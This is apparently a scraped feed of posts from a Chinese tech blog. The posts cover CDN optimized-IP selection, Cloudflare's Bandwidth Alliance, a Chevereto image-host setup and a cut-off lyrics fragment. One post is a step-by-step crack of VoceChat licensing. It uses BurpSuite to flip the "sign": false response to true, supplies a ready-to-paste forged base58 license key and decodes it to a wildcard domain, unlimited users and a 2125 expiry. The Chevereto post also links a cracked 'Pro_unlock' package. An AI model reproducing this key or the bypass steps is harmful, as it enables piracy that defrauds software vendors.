RIGHT!!\\n[03:23.300]MY ENEMY\u0026#39;S INVISIBLE, I DON\u0026#39;T KNOW HOW TO FIGHT!!\\n[03:27.300]THE TREMBLING FEAR IS MORE THAN I CAN TAKE,\\n[03:31.300]WHEN I\u0026#39;M UP AGAINST\\n[03:32.300]THE ECHO IN THE MIRROR!!\\n[03:34.300]THE TREMBLING FEAR IS MORE THAN I CAN TAKE,\\n[03:37.300]WHEN I\u0026#39;M UP AGAINST\\n[03:39.300]THE ECHO IN THE MIRROR!!\u0026#34;\u003c/span\u003e,\u003cspan style=\"color:#e6db74\"\u003e\u0026#34;code\u0026#34;\u003c/span\u003e:200\u003cspan style=\"color:#f92672\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e\u003cimg loading=\"lazy\" src=\"/posts/wyy-timestrap/img/4216b634-16a4-434a-9ea7-cf8170805437.webp\"\u003e\u003c/p\u003e","title":"网易云音乐歌曲时间戳获取"},{"content":"前因 可以直接看 记录被voce.chat坑了350 - 屮蛋Blog\n正版激活的原理？ 一般来说。大部分授权系的软件会将你的授权文件首先经过加密，然后发送到授权服务器，等待授权服务器返回一个正确的状态，然后激活\n如何伪造这个正确的状态？ 大部分软件的授权通信是通过后端进行的（但是vocechat不一样，它在前端🤣），我们需要捕获软件向授权服务器发送的授权请求以及授权服务器返回的正确状态\n假如你发送一个有效的许可证，得到 check: true 这个响应，同时软件本体显示 已激活 。然后发送一个无效的许可证，得到 check: false 这个响应，同时软件本体显示 许可证无效 。那么我们可以非常简单的去破解，只需要让对方服务器无论对软件发送的任意许可证都返回 check: true 即可。\n这涉及到响应体修改，需要使用第三方软件，推荐 BurpSuite\n上面的情况是一个最简单的授权激活方案。真实情况下可能授权服务器并不会返回一个明确的值，会返回一串密文，然后软件进行解密得到授权可信性信息。如果你使用的软件并未开源，后续的一系列操作就看你造化了\n正片，怎么破解VoceChat？ 不需要你有一个正版许可证，因为我花350买了😭\n部署完毕VoceChat后，进入授权界面开启浏览器的DevTools，如图\n设置你的 BurpSuite 软件，全局替换 \u0026quot;sign\u0026quot;: false 为 \u0026quot;sign\u0026quot;: true\n点击手动更新，上传如下内容\nLkA5K1paaxyiNckLwYxdektr64uk6zFs322ZAXDp4aQWkTNcY9ztKKFBwpPbonS3TeFTnveHi6w5VR1MVLL4WyEw3QTfHuitLcVkQFjYZoiQumdQ4XPTN9Xo5hwdEZwCmb7rSus1Sg51b87HjRFZEGHSYYUoqRZPhte1sqBxXdRqwpvLubkhvH4kPB4PXddcdLj2bmXSF7Ww3UZ3Sp6LvueXGw3GggDkgKDP4C7466VVhX6gPBZnaQNovX2G5ugnuN9B6uUeeg63jDSVFnZRPF1bZUxPM5cqdA6U399x8uzEpamhMTMkT3ZiQmVerjszsr3vB8K5DvwKXYp6qKtuna5MgQMC4oFKMNKCSPg7F4Eox8s61i1yjtE33JgxXqrwqkJYqDfqQv1La5h3mYnu6PLDcmmgSEuUHaetzbcEfRJrzi4KwiZwmy4kX6RjEp12KjEvVdS7uwd8wEYjiohXFPG2WRhLe9Cz2oLpsy15ssa8Y34EUVbABryKiqv6xpdb8ujiiucyvybAtgsurnYv3D8eRGWZyttnBWfcqWnXWFZvFZx4ZtuW6ML7ZEcNpM3qcdW8mU8L7Jg2C1so1dFE2phwtLpFyCNwSK8QbPFwdg3Fr4BbMDE8Yq5UPwAQrMtEcAJ1nQyDTZSJa4n2CTC3Lo48jHdbVWZYTejfD2a4y4sJxwRTZQkgs4Jx3kAeepAM5weLfq9ogBY4VWRwjCuNJyt1GoVRmhRs7ZvqNTdBvhRx8LSo6cKFx6LZWPZP7q5Pefo3qmof9QdTYU6PGWQNXR5fp7vc 然后你就能得到\n原理剖析 VoceChat是前端验证（没绷住），刚才给你们的内容是一个经过base58编码后的内容，解码后为\n*,999999,2025-07-16T12:00:03.675696030+00:00,2125-07-16T00:00:00+00:00,266c90ae11f5d0c2f7a42f29108cc4c6480d6c6d16c561adba7d6ff28aab54eaa7236e708efdfd9315a9a88d88709fae5c3029129494d16470121835aca6b9280c41d5c5f73a78d70c8231a8f66b9dbcd513629dd17456d771d2d0caa670208bdcacdf51fca89204b300b35a123fd99978754713e60ec50dcb7ddb5c64e129488250feca1dd52a258bcbf8d6dd8a93601e0f103c8cc457c4da16641777f9d0a440796af0ad32d3551e406b56e129bd40ac19e88423b645e732e991344781a235b7f83a40190c80dbab1ed56259cab296e5ec183228dfd49c0574d1b535b77954542636c0ae5c05e8f542007c608fe0634bcfd8dfabacdf152c006e14c3d30975 一共有4个字段\n* 即被授权的域名，这里填 * 就是所有域名的意思。如果你从官方买还只能绑定一个域名🤣。如果你想伪造的更完美就把 * 改为你正在用VoceChat的域名即可\n999999 为用户数限制，前端会显示为 No Limit\n2025-07-16T12:00:03.675696030+00:00 为授权开始日期\n2125-07-16T00:00:00+00:00 为授权结束日期\n266c***975 似乎是一个验证码，类似身份证的最后一位验证位，但是貌似不起作用😂\n那我花350买的授权谁给我补啊🤣 ","permalink":"https://blog.2x.nz/posts/fuck-vocechat/","summary":"\u003ch1 id=\"前因\"\u003e前因\u003c/h1\u003e\n\u003cp\u003e可以直接看 \u003ca href=\"https://info.php.afo.im/index.php/archives/12/\"\u003e记录被voce.chat坑了350 - 屮蛋Blog\u003c/a\u003e\u003c/p\u003e\n\u003ch1 id=\"正版激活的原理\"\u003e正版激活的原理？\u003c/h1\u003e\n\u003cp\u003e一般来说。大部分授权系的软件会将你的授权文件首先经过加密，然后发送到授权服务器，等待授权服务器返回一个正确的状态，然后激活\u003c/p\u003e\n\u003ch1 id=\"如何伪造这个正确的状态\"\u003e如何伪造这个正确的状态？\u003c/h1\u003e\n\u003cp\u003e大部分软件的授权通信是通过后端进行的（但是vocechat不一样，它在前端🤣），我们需要捕获软件向授权服务器发送的授权请求以及授权服务器返回的正确状态\u003c/p\u003e\n\u003cp\u003e假如你发送一个有效的许可证，得到 \u003ccode\u003echeck: true\u003c/code\u003e 这个响应，同时软件本体显示 \u003ccode\u003e已激活\u003c/code\u003e 。然后发送一个无效的许可证，得到 \u003ccode\u003echeck: false\u003c/code\u003e 这个响应，同时软件本体显示 \u003ccode\u003e许可证无效\u003c/code\u003e 。那么我们可以非常简单的去破解，只需要让对方服务器无论对软件发送的任意许可证都返回 \u003ccode\u003echeck: true\u003c/code\u003e 即可。\u003c/p\u003e\n\u003cp\u003e这涉及到响应体修改，需要使用第三方软件，推荐 \u003ccode\u003eBurpSuite\u003c/code\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003cp\u003e上面的情况是一个最简单的授权激活方案。真实情况下可能授权服务器并不会返回一个明确的值，会返回一串密文，然后软件进行解密得到授权可信性信息。如果你使用的软件并未开源，后续的一系列操作就看你造化了\u003c/p\u003e\u003c/blockquote\u003e\n\u003ch1 id=\"正片怎么破解vocechat\"\u003e正片，怎么破解VoceChat？\u003c/h1\u003e\n\u003cblockquote\u003e\n\u003cp\u003e不需要你有一个正版许可证，因为我花350买了😭\u003c/p\u003e\u003c/blockquote\u003e\n\u003cp\u003e部署完毕VoceChat后，进入授权界面开启浏览器的DevTools，如图\u003c/p\u003e\n\u003cp\u003e\u003cimg loading=\"lazy\" src=\"/posts/fuck-vocechat/img/df39698c-7a0f-4eda-9b74-47cec05faaf2.webp\"\u003e\u003c/p\u003e\n\u003cp\u003e设置你的 \u003ccode\u003eBurpSuite\u003c/code\u003e 软件，全局替换 \u003ccode\u003e\u0026quot;sign\u0026quot;: false\u003c/code\u003e 为 \u003ccode\u003e\u0026quot;sign\u0026quot;: true\u003c/code\u003e\u003c/p\u003e\n\u003cp\u003e\u003cimg loading=\"lazy\" src=\"/posts/fuck-vocechat/img/5d34cbe2-08e9-40ea-95e4-64c976d5de9b.webp\"\u003e\u003c/p\u003e\n\u003cp\u003e点击手动更新，上传如下内容\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;\"\u003e\u003ccode class=\"language-bash\" data-lang=\"bash\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eLkA5K1paaxyiNckLwYxdektr64uk6zFs322ZAXDp4aQWkTNcY9ztKKFBwpPbonS3TeFTnveHi6w5VR1MVLL4WyEw3QTfHuitLcVkQFjYZoiQumdQ4XPTN9Xo5hwdEZwCmb7rSus1Sg51b87HjRFZEGHSYYUoqRZPhte1sqBxXdRqwpvLubkhvH4kPB4PXddcdLj2bmXSF7Ww3UZ3Sp6LvueXGw3GggDkgKDP4C7466VVhX6gPBZnaQNovX2G5ugnuN9B6uUeeg63jDSVFnZRPF1bZUxPM5cqdA6U399x8uzEpamhMTMkT3ZiQmVerjszsr3vB8K5DvwKXYp6qKtuna5MgQMC4oFKMNKCSPg7F4Eox8s61i1yjtE33JgxXqrwqkJYqDfqQv1La5h3mYnu6PLDcmmgSEuUHaetzbcEfRJrzi4KwiZwmy4kX6RjEp12KjEvVdS7uwd8wEYjiohXFPG2WRhLe9Cz2oLpsy15ssa8Y34EUVbABryKiqv6xpdb8ujiiucyvybAtgsurnYv3D8eRGWZyttnBWfcqWnXWFZvFZx4ZtuW6ML7ZEcNpM3qcdW8mU8L7Jg2C1so1dFE2phwtLpFyCNwSK8QbPFwdg3Fr4BbMDE8Yq5UPwAQrMtEcAJ1nQyDTZSJa4n2CTC3Lo48jHdbVWZYTejfD2a4y4sJxwRTZQkgs4Jx3kAeepAM5weLfq9ogBY4VWRwjCuNJyt1GoVRmhRs7ZvqNTdBvhRx8LSo6cKFx6LZWPZP7q5Pefo3qmof9QdTYU6PGWQNXR5fp7vc\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e然后你就能得到\u003c/p\u003e\n\u003cp\u003e\u003cimg loading=\"lazy\" src=\"/posts/fuck-vocechat/img/07686efa-5646-4116-bb96-c2d856b4811e.webp\"\u003e\u003c/p\u003e\n\u003ch1 id=\"原理剖析\"\u003e原理剖析\u003c/h1\u003e\n\u003cp\u003eVoceChat是前端验证（没绷住），刚才给你们的内容是一个经过base58编码后的内容，解码后为\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;\"\u003e\u003ccode class=\"language-bash\" data-lang=\"bash\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e*,999999,2025-07-16T12:00:03.675696030+00:00,2125-07-16T00:00:00+00:00,266c90ae11f5d0c2f7a42f29108cc4c6480d6c6d16c561adba7d6ff28aab54eaa7236e708efdfd9315a9a88d88709fae5c3029129494d16470121835aca6b9280c41d5c5f73a78d70c8231a8f66b9dbcd513629dd17456d771d2d0caa670208bdcacdf51fca89204b300b35a123fd99978754713e60ec50dcb7ddb5c64e129488250feca1dd52a258bcbf8d6dd8a93601e0f103c8cc457c4da16641777f9d0a440796af0ad32d3551e406b56e129bd40ac19e88423b645e732e991344781a235b7f83a40190c80dbab1ed56259cab296e5ec183228dfd49c0574d1b535b77954542636c0ae5c05e8f542007c608fe0634bcfd8dfabacdf152c006e14c3d30975\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e一共有4个字段\u003c/p\u003e\n\u003cp\u003e\u003ccode\u003e*\u003c/code\u003e 即被授权的域名，这里填 \u003ccode\u003e*\u003c/code\u003e 就是所有域名的意思。如果你从官方买还只能绑定一个域名🤣。如果你想伪造的更完美就把 \u003ccode\u003e*\u003c/code\u003e 改为你正在用VoceChat的域名即可\u003c/p\u003e\n\u003cp\u003e\u003ccode\u003e999999\u003c/code\u003e 为用户数限制，前端会显示为 \u003ccode\u003eNo Limit\u003c/code\u003e\u003c/p\u003e\n\u003cp\u003e\u003ccode\u003e2025-07-16T12:00:03.675696030+00:00\u003c/code\u003e 为授权开始日期\u003c/p\u003e\n\u003cp\u003e\u003ccode\u003e2125-07-16T00:00:00+00:00\u003c/code\u003e 为授权结束日期\u003c/p\u003e\n\u003cp\u003e\u003ccode\u003e266c***975\u003c/code\u003e 似乎是一个验证码，类似身份证的最后一位验证位，但是貌似不起作用😂\u003c/p\u003e\n\u003ch1 id=\"那我花350买的授权谁给我补啊\"\u003e那我花350买的授权谁给我补啊🤣\u003c/h1\u003e\n\u003cp\u003e\u003cimg loading=\"lazy\" src=\"/posts/fuck-vocechat/img/7fd942fe-da57-4496-8b85-e5db6057705b.webp\"\u003e\u003c/p\u003e","title":"记录人生中第一次破解软件！FKvocechat！"},{"content":"基本思路 想要做一个优选域名，我们首先需要筛选那些质量好的IP\n筛选到质量好的IP后，通过各大云解析DNS厂商更新指定优选域名的DNS解析\n最后，将你的域名投入使用，测试优选后效果\n如何筛选到质量好的IP？ 假设你要提高国内的访问质量，我们肯定需要国内的机子，如果自家有NAS就再好不过了\n如果你想要三网都优选，那么只有你一台机子是不够的，需要同时拥有电信，移动，联通三网的机子去做IP筛选。如果你要做更高级的地域优选，那就\u0026hellip;把每个省的三网机子都拿到手？\n有了测试机，接下来我们就需要编写测试脚本\n首先我们要知道一个CDN厂商的IP段是什么，这里以Cloudflare为例\n我们搜索 Cloudflare IP段 即可找到\n对于其他CDN，他们可能并没有直接在网页上公开IP，你需要自行寻找客服咨询\n我们得到IP段后，接下来就是编写实际的测试逻辑\n我这边仅推荐通过Curl+Resolve实现强制绑定IP访问业务域名然后看返回的状态码正不正常。\n注意，这种方案及其考验您的测试机、路由器、ISP、对端服务器的性能！\n但这也是最稳妥的测试方法，主播已经见过了太多TCPing 443通，https访问418或者ping得通，TCPing不通的稀奇古怪CDNIP。请保证您的测试方法筛选到的IP能正常访问到您的访问，避免您的服务宕机\n线程不必拉太高，针对于Cloudflare这样有 150w IP的CDN，我们可以仅测试C段，也就是测试完 104.18.91.0 直接测试 104.18.92.0 这样可以节省时间，只需要测5000多个IP\n最终，我们得到了一组优选IP\n对接华为云云解析DNS 为什么推荐华为云？\n无他，因为仅华为云一家支持单解析单次记录值支持50个IP、可以创建多个同名解析以及支持仅缓存DNS解析1s（TTL=1）\n受益于华为云的这些功能，我们个人用户也可以做到一个域名下面绑定几万个IP（虽然IP不是越多越好）\n推荐使用海外版，不需要实名认证\n之后通过API文档自行折腾一下API添加DNS解析即可\n后期维护 如果你要做三网优选请添加一个默认解析线路，保证您在个别线路宕机时对应线路的用户不会遇到服务宕机\n每个CDN厂商的IP段可能会不定时变更，请勤查多看，及时更换失效IP\n如果遇到服务异常无法得到优选IP，请不要在脚本中编写危险逻辑，如删除所有解析。这会导致大批量服务宕机\n优选并不是主流做法，如果您的站点被攻击，使用自定义CNAME或者IP会导致您的CDN服务商无法为您进行IP调度，高质量IP将被持续攻击，您的CDN服务商可能会采取强制措施如：关停您的业务，封禁您的账号等操作来隔断对方的攻击。当您认为您的站点被攻击时请及时切换到官方为您分配的CNAME或IP\n","permalink":"https://blog.2x.nz/posts/self-host-fastip/","summary":"\u003ch1 id=\"基本思路\"\u003e基本思路\u003c/h1\u003e\n\u003cp\u003e想要做一个优选域名，我们首先需要筛选那些质量好的IP\u003c/p\u003e\n\u003cp\u003e筛选到质量好的IP后，通过各大云解析DNS厂商更新指定优选域名的DNS解析\u003c/p\u003e\n\u003cp\u003e最后，将你的域名投入使用，测试优选后效果\u003c/p\u003e\n\u003ch1 id=\"如何筛选到质量好的ip\"\u003e如何筛选到质量好的IP？\u003c/h1\u003e\n\u003cp\u003e假设你要提高国内的访问质量，我们肯定需要国内的机子，如果自家有NAS就再好不过了\u003c/p\u003e\n\u003cp\u003e如果你想要三网都优选，那么只有你一台机子是不够的，需要同时拥有电信，移动，联通三网的机子去做IP筛选。如果你要做更高级的地域优选，那就\u0026hellip;把每个省的三网机子都拿到手？\u003c/p\u003e\n\u003cp\u003e有了测试机，接下来我们就需要编写测试脚本\u003c/p\u003e\n\u003cp\u003e首先我们要知道一个CDN厂商的IP段是什么，这里以Cloudflare为例\u003c/p\u003e\n\u003cp\u003e我们搜索 \u003ccode\u003eCloudflare IP段\u003c/code\u003e 即可找到\u003c/p\u003e\n\u003cp\u003e\u003cimg loading=\"lazy\" src=\"/posts/self-host-fastip/img/9e79e4ab-ce0c-434a-84f7-3b8a9f3a0886.webp\"\u003e\u003c/p\u003e\n\u003cp\u003e对于其他CDN，他们可能并没有直接在网页上公开IP，你需要自行寻找客服咨询\u003c/p\u003e\n\u003cp\u003e我们得到IP段后，接下来就是编写实际的测试逻辑\u003c/p\u003e\n\u003cp\u003e我这边仅推荐通过Curl+Resolve实现强制绑定IP访问业务域名然后看返回的状态码正不正常。\u003c/p\u003e\n\u003cp\u003e\u003cstrong\u003e注意，这种方案及其考验您的测试机、路由器、ISP、对端服务器的性能！\u003c/strong\u003e\u003c/p\u003e\n\u003cp\u003e但这也是最稳妥的测试方法，主播已经见过了太多TCPing 443通，https访问418或者ping得通，TCPing不通的稀奇古怪CDNIP。请保证您的测试方法筛选到的IP能正常访问到您的访问，避免您的服务宕机\u003c/p\u003e\n\u003cp\u003e线程不必拉太高，针对于Cloudflare这样有 150w IP的CDN，我们可以仅测试C段，也就是测试完 \u003ccode\u003e104.18.91.0\u003c/code\u003e 直接测试 \u003ccode\u003e104.18.92.0\u003c/code\u003e 这样可以节省时间，只需要测5000多个IP\u003c/p\u003e\n\u003cp\u003e最终，我们得到了一组优选IP\u003c/p\u003e\n\u003ch1 id=\"对接华为云云解析dns\"\u003e对接华为云云解析DNS\u003c/h1\u003e\n\u003cp\u003e为什么推荐华为云？\u003c/p\u003e\n\u003cp\u003e无他，因为仅华为云一家支持\u003cstrong\u003e单解析单次记录值支持50个IP\u003c/strong\u003e、\u003cstrong\u003e可以创建多个同名解析\u003c/strong\u003e以及\u003cstrong\u003e支持仅缓存DNS解析1s（TTL=1）\u003c/strong\u003e\u003c/p\u003e\n\u003cp\u003e受益于华为云的这些功能，我们个人用户也可以做到一个域名下面绑定几万个IP（虽然IP不是越多越好）\u003c/p\u003e\n\u003cp\u003e推荐使用海外版，\u003cstrong\u003e不需要实名认证\u003c/strong\u003e\u003c/p\u003e\n\u003cp\u003e之后通过API文档自行折腾一下API添加DNS解析即可\u003c/p\u003e\n\u003ch1 id=\"后期维护\"\u003e后期维护\u003c/h1\u003e\n\u003col\u003e\n\u003cli\u003e\n\u003cp\u003e如果你要做三网优选请添加一个默认解析线路，保证您在个别线路宕机时对应线路的用户不会遇到服务宕机\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e每个CDN厂商的IP段可能会不定时变更，请勤查多看，及时更换失效IP\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e如果遇到服务异常无法得到优选IP，请不要在脚本中编写危险逻辑，如删除所有解析。这会导致大批量服务宕机\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e优选并不是主流做法，如果您的站点被攻击，使用自定义CNAME或者IP会导致您的CDN服务商无法为您进行IP调度，高质量IP将被持续攻击，您的CDN服务商可能会采取强制措施如：\u003cstrong\u003e关停您的业务，封禁您的账号\u003c/strong\u003e等操作来隔断对方的攻击。当您认为您的站点被攻击时请及时切换到官方为您分配的CNAME或IP\u003c/p\u003e\n\u003c/li\u003e\n\u003c/ol\u003e","title":"都5202年了，还有人不会自建自己的Cloudflare/EdgeOne等各种CDN的优选？"},{"content":"这是什么 Cloudflare带宽联盟（Bandwidth Alliance） 由一群具有前瞻性思维的云服务和网络公司组成，致力于为共同客户降低或免除数据传输（带宽）费用。\n人话：你买的阿里云OSS，腾讯云COS套上CF就可以免流量费\n具体哪些服务支持免流量费？ 可以前往 Cloudflare云服务_数据传输_高速云数据传输服务_|Cloudflare中国官网 | Cloudflare 查看\n截止到文章发布日，这些服务支持\n在这里可以看到，如果您每月需要传输1TB的流量，Cloudflare将为您每月节省如此多的美刀\n如何使用？ 假如您有一个阿里云OSS实例，正常来说如果您需要绑定自定义域名，需要CNAME到阿里云的Endpoint，如果您恰好使用Cloudflare NS服务器托管您的域名，只需要打开小黄云即可。\nCloudflare将托管您的阿里云OSS流量，从Cloudflare出口的流量将不收取流量费用\n基于阿里云5G内存储费用免费的政策，您可以白嫖5G的对象存储\n注意事项 永远不要泄露您的源站，也就是上文所说的阿里云OSS Endpoint，如果有人发现了您的源站，这些流量不从Cloudflare出口，您将会被收取费用\n当然，大部分对象存储服务商支持配置私有访问，详细规则和使用方法请咨询各方客服\n","permalink":"https://blog.2x.nz/posts/cloudflare-bandwidth-alliance/","summary":"\u003ch1 id=\"这是什么\"\u003e这是什么\u003c/h1\u003e\n\u003cp\u003eCloudflare带宽联盟（Bandwidth Alliance） 由一群具有前瞻性思维的云服务和网络公司组成，致力于为共同客户降低或免除数据传输（带宽）费用。\u003c/p\u003e\n\u003cp\u003e人话：你买的阿里云OSS，腾讯云COS套上CF就可以免流量费\u003c/p\u003e\n\u003ch1 id=\"具体哪些服务支持免流量费\"\u003e具体哪些服务支持免流量费？\u003c/h1\u003e\n\u003cp\u003e可以前往 \u003ca href=\"https://www.cloudflare.com/zh-cn/bandwidth-alliance/\"\u003eCloudflare云服务_数据传输_高速云数据传输服务_|Cloudflare中国官网 | Cloudflare\u003c/a\u003e 查看\u003c/p\u003e\n\u003cp\u003e截止到文章发布日，这些服务支持\u003c/p\u003e\n\u003cp\u003e\u003cimg loading=\"lazy\" src=\"/posts/cloudflare-bandwidth-alliance/img/e04c6bee-efc2-4998-83aa-aeacc80e6908.webp\"\u003e\u003c/p\u003e\n\u003cp\u003e在这里可以看到，如果您每月需要传输1TB的流量，Cloudflare将为您每月节省如此多的美刀\u003c/p\u003e\n\u003cp\u003e\u003cimg loading=\"lazy\" src=\"/posts/cloudflare-bandwidth-alliance/img/3ac81964-bb93-4528-921f-d801a66cb72d.webp\"\u003e\u003c/p\u003e\n\u003ch1 id=\"如何使用\"\u003e如何使用？\u003c/h1\u003e\n\u003cp\u003e假如您有一个阿里云OSS实例，正常来说如果您需要绑定自定义域名，需要CNAME到阿里云的Endpoint，如果您恰好使用Cloudflare NS服务器托管您的域名，只需要打开小黄云即可。\u003c/p\u003e\n\u003cp\u003eCloudflare将托管您的阿里云OSS流量，从Cloudflare出口的流量将不收取流量费用\u003c/p\u003e\n\u003cp\u003e基于阿里云5G内存储费用免费的政策，您可以白嫖5G的对象存储\u003c/p\u003e\n\u003ch1 id=\"注意事项\"\u003e注意事项\u003c/h1\u003e\n\u003cp\u003e永远不要泄露您的源站，也就是上文所说的阿里云OSS Endpoint，如果有人发现了您的源站，这些流量不从Cloudflare出口，您将会被收取费用\u003c/p\u003e\n\u003cp\u003e当然，大部分对象存储服务商支持配置私有访问，详细规则和使用方法请咨询各方客服\u003c/p\u003e","title":"国内对象存储免流量费？Cloudflare带宽联盟究竟是什么？"},{"content":"视频教程 https://b23.tv/E8Z34KM\n正式开始 资源： https://r2.2x.nz/chevereto_4.3.6-Pro_unlock.zip （感谢宝塔开心版站长！）\n使用 PHP 8.1.29 \u0026amp; MySQL 8.0.36 创建一个网站，然后将我们刚刚下载的ZIP上传到站点根目录并解压\n你就会得到这一坨\n这里开始分支！如果你是Apache请什么都不要动，它会自动检测 .htaccess 。如果你是Nginx请配置 nginx.txt 里面的伪静态规则\n然后根据原 教程.txt\nPHP 需要 8.1 以上 需要以下PHP扩展： fileinfo imagemagick exif 如果是宝塔 还得删除 PHP 禁用函数 putenv proc_open MYSQL 需要 8.0 以上 伪静态需要使用我提供的 nginx.txt 里面的 如果你用的虚拟主机跟博主一样，也是ispmanager，请这样设置PHP\n一切就绪，访问你的站点进行Chevereto的安装向导\n疑难解答 如果出现问题，请尝试以管理员身份登录Chevereto，在管理员设置 -\u0026gt; 系统中开启调试模式。这样设置后，Chevereto在出现错误就会告诉你具体发生了什么问题\n如果我连系统设置都进不去？请自行找你的PHP Error Log来分析问题\n我搭建好的 https://chevereto.php.afo.im/upload\n登录后查看所有图片：\nhttps://chevereto.php.afo.im/explore/images\n","permalink":"https://blog.2x.nz/posts/chevereto/","summary":"\u003ch1 id=\"视频教程\"\u003e视频教程\u003c/h1\u003e\n\u003cp\u003e\u003ca href=\"https://b23.tv/E8Z34KM\"\u003ehttps://b23.tv/E8Z34KM\u003c/a\u003e\u003c/p\u003e\n\u003ch1 id=\"正式开始\"\u003e正式开始\u003c/h1\u003e\n\u003cp\u003e资源： \u003ca href=\"https://r2.2x.nz/chevereto_4.3.6-Pro_unlock.zip\"\u003ehttps://r2.2x.nz/chevereto_4.3.6-Pro_unlock.zip\u003c/a\u003e （感谢宝塔开心版站长！）\u003c/p\u003e\n\u003cp\u003e使用 \u003cstrong\u003ePHP 8.1.29 \u0026amp; MySQL 8.0.36\u003c/strong\u003e 创建一个网站，然后将我们刚刚下载的ZIP上传到站点根目录并解压\u003c/p\u003e\n\u003cp\u003e你就会得到这一坨\u003c/p\u003e\n\u003cp\u003e\u003cimg loading=\"lazy\" src=\"/posts/chevereto/img/dcb4d5ec-412f-4008-980b-b4f4ac1bc2d2.webp\"\u003e\u003c/p\u003e\n\u003cp\u003e这里开始分支！如果你是Apache请什么都不要动，它会自动检测 \u003ccode\u003e.htaccess\u003c/code\u003e 。如果你是Nginx请配置 \u003ccode\u003enginx.txt\u003c/code\u003e 里面的伪静态规则\u003c/p\u003e\n\u003cp\u003e然后根据原 \u003ccode\u003e教程.txt\u003c/code\u003e\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;\"\u003e\u003ccode class=\"language-bash\" data-lang=\"bash\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003ePHP 需要 8.1 以上\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e需要以下PHP扩展：\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003efileinfo\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eimagemagick\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eexif\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e如果是宝塔 还得删除 PHP 禁用函数\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eputenv\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eproc_open \n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eMYSQL 需要 8.0 以上\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e伪静态需要使用我提供的 nginx.txt 里面的\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e如果你用的虚拟主机跟博主一样，也是ispmanager，请这样设置PHP\u003c/p\u003e\n\u003cp\u003e\u003cimg loading=\"lazy\" src=\"/posts/chevereto/img/e4bc4d2e-fc42-49bb-b161-92e86f0c6d12.webp\"\u003e\u003c/p\u003e\n\u003cp\u003e一切就绪，访问你的站点进行Chevereto的安装向导\u003c/p\u003e\n\u003ch1 id=\"疑难解答\"\u003e疑难解答\u003c/h1\u003e\n\u003cp\u003e如果出现问题，请尝试以管理员身份登录Chevereto，在管理员设置 -\u0026gt; 系统中开启调试模式。这样设置后，Chevereto在出现错误就会告诉你具体发生了什么问题\u003c/p\u003e\n\u003cp\u003e\u003cimg loading=\"lazy\" src=\"/posts/chevereto/img/00c8ab83-d41c-4ca3-a14a-4a36f0f77b67.webp\"\u003e\u003c/p\u003e\n\u003cp\u003e如果我连系统设置都进不去？请自行找你的PHP Error Log来分析问题\u003c/p\u003e\n\u003ch1 id=\"我搭建好的\"\u003e我搭建好的\u003c/h1\u003e\n\u003cp\u003e\u003ca href=\"https://chevereto.php.afo.im/upload\"\u003ehttps://chevereto.php.afo.im/upload\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e登录后查看所有图片：\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://chevereto.php.afo.im/explore/images\"\u003ehttps://chevereto.php.afo.im/explore/images\u003c/a\u003e\u003c/p\u003e","title":"教你搭建Chevereto这个超级强大的图床！"},{"content":"Netlify 注册门槛高，需要使用谷歌邮箱注册。支持IPv6回源。用量限制较宽松，仅有带宽和构建时间限制。 我认为是免费计划里最快的CDN！并且限制很少！\n需要注意，构建时间是每月限制。但是流量限制较为宽松\n因为节点禁Ping，所以这里用Tcping结果展示\n推荐CNAME： apex-loadbalancer.netlify.com\nVercel 零成本用上。注册无门槛，延迟良好。用量限制较严格。仅支持IPv4回源。默认的 *.vercel.app 在国内会被SNI阻断，需要绑定自己的域名\nVercel每天可以构建100次，每次构建时间不得超过45分钟\n推荐IP： 76.76.21.21\nEdgeOne 